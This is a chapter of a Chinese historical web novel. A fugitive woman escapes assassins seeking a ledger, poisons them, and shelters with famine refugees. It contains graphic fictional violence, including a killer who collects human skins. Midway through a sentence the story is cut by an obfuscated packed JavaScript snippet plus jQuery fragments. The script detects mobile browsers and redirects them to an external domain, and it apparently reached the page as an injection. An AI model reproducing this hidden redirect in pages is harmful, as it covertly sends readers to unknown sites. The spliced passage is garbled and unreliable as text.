##第二章


    “不好！老大，那个女人跑了！”


    “废物！还不快追！若是任务失败，咱们都得死。”


    一墙之隔外，听到动静的崔恂转头看向面前这位跳墙而出的女子，后者捂脸勉力解释。


    “那个……人怕出名猪怕壮，人在江湖有那么一两个仇家在所难免，方才所谈之事公子回去后可再思虑一二，价格好商量。”


    薛氿扫过四周，瞧着东边灯火通明，隐隐约约传来嘈杂的人声，便立刻给男子指了个道，“公子若是信得过在下，不如往人多的地方去，石栏镇毗邻边境，镇中多为军户，开平军治军严明，又素来嫉恶如仇，那些个江湖歹徒自是不敢在众目睽睽之下在开平军治下行凶。至于引荐一事，若是公子有意，明日午时可到城中最大的酒楼细谈。在下姓薛，恭候公子大驾。”


    墙内的动静愈发靠近，薛氿顾不得其他，约好时辰便赶紧朝着西边暗巷，一瘸一拐扶墙逃去。


    若是半月之前，薛氿定会往闹市逃窜以求得一线生机。可月影楼的杀手凶残至极，曾因为几个挡路的乡民而大开杀戒，薛氿带人阻挡，月影楼瞧出端倪便屡屡借此拿捏，反倒更使无辜者受此牵连。


    奈何，薛氿等人只得尽量避开。


    崔恂看着那女子咬牙扶墙而行，颇觉奇怪。


    石栏镇因毗邻边境，经年被南国士兵侵扰，是以虽只是小镇，却治安严密。巡街的衙役和驻守城门的厢军皆是因伤退伍的老兵，骨子里的血性非一般士兵能及。


    此人方才还出言提醒，显然不是不知。即使如此还要孤身朝暗巷而去，这拙劣的戏码可真是错漏百出。


    不过，他倒是好奇这女子背后究竟是谁，想法倒是别致。


    别家送美人，他们送瘸子。


    莫非又是府中那人的诡计？


    崔恂眸中闪过杀意，他本是不屑后宅手段，但若是手伸得太长，妄图染指开平军军务，即便是父亲护着，他也绝不手软。


    “呜——”


    崔恂闻声望去，原是那只孽畜。因吃的太饱被卡在狗洞里不上不下，呜呜咽咽地用那双汪汪大眼委屈巴巴地瞧着自己。


    “蠢货，如此贪吃，迟早有天被人扒了这身狼皮做围脖。”崔恂埋汰道。


    “呜——”雪狼更委屈了。


    小巷幽深昏暗，零星几家门前挂着褪色的红灯笼，微弱的光晕晃晃悠悠地在瑟瑟秋风中摇曳，卷边的红纸“哗哗”作响。


    周遭寂静晦暗，薛氿扶着墙壁咬牙坚持，呼吸像重锤敲击大鼓，在这深幽的夜海中泛起层层波澜。


    身后的脚步声越来越近。


    “薛少院好本事。”


    冯夷带着人追了上来，将薛氿团团围住。


    扫了眼薛氿的左腿，冯夷嗤笑道，“瘸着腿也能折腾这么远，薛少院非一般人也。”


    薛氿靠着墙勉力支撑，面对冯夷的怒目嗔视，她毫不掩饰地鄙夷。


    “何必拐着弯骂人，这腿不也是拜你所赐。”


    “牙尖嘴利。”即便光线昏暗，但那双倔强的眼眸却亮的惊人，这种眼睛本就不该出现在这乱世。“东西呢？交出来。”


    “位置我也说了，没找到那是尔等能力不足。”


    冯夷倒还好，可身后的那些家伙听到这般嘲讽奚落，各个怒不可遏，有甚者更是持刀暴起，朝着薛氿挥斫而来。


    冯夷抬起佩剑，剑鞘与刀刃相撞发出金戈争鸣之声。


    “老大！”


    “拿到东西再杀也不迟。”冯夷冷眼看去，那人迫于威胁，只得朝薛氿冷哼一声，收刀大喝一声退去。


    冯夷转头看到薛氿额间的冷汗，“我实在想不通，薛少院既然如此胆小，为何刚才那般危机时分，还不忘埋坑踩实，若不是树干上蹭着的泥印，我怕是还得多费些功夫。”


    薛氿眼神闪躲，“客栈后院都是泥，路过沾上的而已，冯首领心思未免太重了些。”


    冯夷拿出一张沾有泥渍的油纸包，见薛氿眼中闪过的慌乱，心中便有了成算。


    “薛少院既然不合作，那别怪我等莽撞了。”冯夷使了个眼神，身后立刻走出三位虎背熊腰的壮汉，齐齐上阵将薛氿逼至墙角，看似搜身手却很不规矩。


    薛氿大惊失色，咬牙切齿道，“我给——”


    冯夷是个多疑的性子，并未亲自接过，而是让那三人其中一个打开。


    包袱里面是一本账册，密密麻麻有一尺多厚。


    那人显然只是粗浅识得几个大字，看起账册来立刻抓耳挠腮，好一顿头大。


    “老大啊，看不懂啊！”


    冯夷恨铁不成钢地翻了个白眼，到底是存了个心眼，让心腹井叁接过。


    井叁长得干干瘦瘦，面白无须，那双墨绿的招子带着一股子阴冷气息，与之对视总让人脚底生寒。


    他接过账册先是闻了闻，除了埋在土里而沾染的土腥气以外，并无其他异味，这才翻了几页，仔细察看。


    “确实是账册。”但是不是上面要的，井叁摇了摇头。


    此乃机密，即便他是老大心腹之一，却也无权知晓。


    冯夷自是有确认之法，待井叁查验无误后，这才接过，按照密信所言的法子仔细查验。


    最后，他剥开书皮，在书脊背后看到那串隐秘的编码后，悬着的心方才落地。


    东西已经到手，至于面前这个女的——冯夷给了个眼神，井叁点头，再抬起时上扬的嘴角露出森森尖牙，一步步朝着薛氿走去。


    那原本围着薛氿的三人见势赶紧却退一步，生怕挨到井叁分毫。井叁寡言沉默，但一笑起来好似巨蟒吐信，让人不寒而栗。


    如果他们是刽子手，那井叁便是杀人取乐的罗刹鬼，最爱的便是女人皮。他屋子里常年搁着冰块，为的就是保存那挂满整个屋子的人皮。


    井叁看着女子瑟瑟发抖地贴紧墙面，那小动物一般稚嫩水泽的大眼让他兴奋澎湃，血液猛然奔涌沸腾，使得苍白瘦削的脸庞迅速变得红润起来。


    他喜欢女子死前眼里溢出的恐惧与害怕，这让他极致癫狂，待整张皮褪下，哪种酣畅之感在每个深夜让他辗转反侧，抓肝挠肺，久久不能自已。


    “别怕，等下会很舒服。”只是可惜，这么张好皮子不能慢慢欣赏，仔细打理。


    井叁抬起锋利的小刀朝着薛氿的脖子割去，泛着银光的利刃沿着白皙的鹅颈向上划去，血珠顺着槽口顺流而下，美味至极。


    突然只见那原本瑟瑟发抖，眼角还挂着泪珠的女子，食指指腹揩过血痕，轻轻一挥，红色的粉末扑面而来。


    井叁等人赶紧捂住口鼻避开，但粉末辛辣刺鼻，只是闻上一点便被呛得痛哭流涕，咳得双眼泛红。


    待红色烟雾散去，哪里还看得到女子身影。


    井叁等人正要追去，却发现浑身上下奇痒无比，挠着挠着又发现有一道乌黑色的线沿着经脉从手腕朝着五脏蔓延。


    “不好有毒！”


    所有人都浑身发痒，但手腕上蔓延黑线的却只有刚才摸过账册的三人。


    “贱人！”


    冯夷气得抽出怀中那本账册扔到地上踩了两脚，待冷静下来，又唤人找东西包起来带走。


    侥幸逃出的薛氿提着一双赤红烧灼的猪蹄手，踉踉跄跄地往远处逃去，因为手上握着药粉太长时辰，即便是提前服用了解药，十指也因灼热而肿胀发红。


    越走越荒凉，路过一处破败的城隍庙，瞥见前院有一古井，又见秋风急急，薛氿便打算入内暂避。


    走至古井边，汲上半桶水，薛氿将双手没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092014|163662||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    入沁凉的井水中，灼热感顿消。


    泡到整双手起皱后，薛氿这才涂上事先准备好的解药。


    南境的深秋夜风寒冷刺骨，薛氿一瘸一拐地往城隍庙走去。


    破旧的庙内并无香火，稀稀落落的瓦片堪堪遮蔽风雨。


    薛氿一入内，便有十几双眼睛盯着她。


    他们衣衫褴褛，头发糟污，瘦骨嶙峋，看样子是从北边逃荒而来。


    而自己的闯入，显然让他们一慌。麻木的双眼里渗出恐惧、警惕还有暗藏的敌意，男人们赶紧把孩子老人护在身后，而女人则抱着孩子努力蜷缩着身体隐在阴影里。


    荆、豫二州大旱，三十万石赈灾粮食半路被饥饿难耐的灾民抢夺，这才发现那些原本应该满载大米的粮袋半数以上皆是杂草。


    那些抢夺的粮草的灾民被当场射杀，但消息还是传了出去。一时间民怨四起，两州各地暴乱频发。


    朝廷为了镇压民愤，调遣镇北军平乱。但大军开拔，亦是需要粮草。这笔粮饷便摊派到今年顺平安泰的徐、青二州，但两州底下官员巧立名目、横征暴敛，治下百姓更是哀声怨道，为了这些莫名多出的苛捐杂税，不少人家只得卖儿鬻女勉强凑够银两。


    薛氿下意识摸了摸缠在腰间的包裹，这东西必须想办法送到开平王世子手中，或许还能救那两州百姓一命。


    庙中人待看清楚来者瘸着腿且身形狼狈时，原本暗藏的敌意骤散，有些还忍不住心疼，这么年轻的姑娘莫非是遭了难不成？


    虽然时局艰难，大家都很苦。但对于一切鲜活、年轻、美好的事物，大家都怀有美好地憧憬。所以见到薛氿，原本麻木似磬的心又不忍起来。


    “姑娘坐过来些，烤烤火，外面风大，可别着了风寒。”说话的是位老叟，怀中抱着一小孩，捂得严严实实的，瞧不大清。


    刘老汉瞧薛氿怯生生地挪到角落坐着，不由想起自家那个懂事的大孙女，为了家中的一口吃食，自卖给了镇上的乡绅做丫鬟，只为给家里换半个月的口粮，没想到才几天救被草席一卷给扔了出来。听说他家大丫浑身是伤，被折磨得没有人形。


    他们听到消息赶去，却连大丫的尸骨也没找到。过后打听才知，大丫的尸身刚被扔出来，就被一群饥民抬到了小树林……


    他可怜的大孙女啊！


    “多谢老丈。”跳动的柴火将脸映得红彤彤，薛氿被那流淌着的暖意熏得晕晕乎乎，抬首道谢时却发现老丈避开的神色，和眸中来不及遮掩的沉痛。


    物伤其类，薛氿刚暖和起来的心也陡然沉了下去。


    她想，无论自己到底是因何来到这大雍，但一个既定的事实改变不了，她如今身处一个封建皇权统治的社会，没有人权，没有自由，就连人生安全都无法得到保障。


    她要如何在这样地方活下去？


    还有哪些杀手，等缓过神来，定不会善罢甘休，自己该如何应对？


    “姑娘，咬咬牙忍一忍，等到明年春天都会好的。”刘老汉见薛氿蹙眉，面色深愁，便从为数不多的口粮里分出一点递给薛氿。


    那是一个黑乎乎的馍，只有小孩手掌大小，瞧着硬邦邦的，若是扔出去定能砸死一头牛。


    “嗯。”薛氿结果咬了一口，与想象中一样硬，还有些变味，但却是她吃过最好吃的馍。


    明年的春天是农人播种的季节，是心中的希望，亦是寒冬里的微弱烛火。


    活着！


    她必须活下去！


    那些杀她的，害她的，她一个也不会放过！


    突然听到一阵急促的咳嗽声，薛氿抬头看去，是老丈怀里的小孩。


    只见那孩子脸上泛着不正常的潮红，咳嗽声很响，但明显肺气不足。


    薛氿蹙眉，这孩子瞧着怕是不大好。